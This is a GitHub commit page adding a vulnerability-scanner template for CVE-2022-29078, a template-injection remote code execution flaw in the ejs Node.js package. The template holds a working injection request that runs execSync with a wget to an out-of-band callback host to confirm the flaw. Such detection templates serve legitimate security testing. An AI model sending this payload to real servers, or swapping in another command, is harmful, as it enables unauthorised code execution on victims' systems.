Merge pull request #4860 from For3stCo1d/CVE-2022-29078

Create CVE-2022-29078.yaml
patch-1
Prince Chaddha 2022-09-21 00:08:10 +05:30 committed by GitHub
commit b94f850cf5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: CVE-2022-29078
info:
name: Ejs - RCE
author: For3stCo1d
severity: critical
description: |
The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).
reference:
- https://eslam.io/posts/ejs-server-side-template-injection-rce/
- https://github.com/miko550/CVE-2022-29078
- https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
- https://nvd.nist.gov/vuln/detail/CVE-2022-29078
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-29078
cwe-id: CWE-74
tags: cve,cve2022,rce,ejs,nodejs,oast
requests:
- raw:
- |
GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: body
words:
- "You are viewing page number"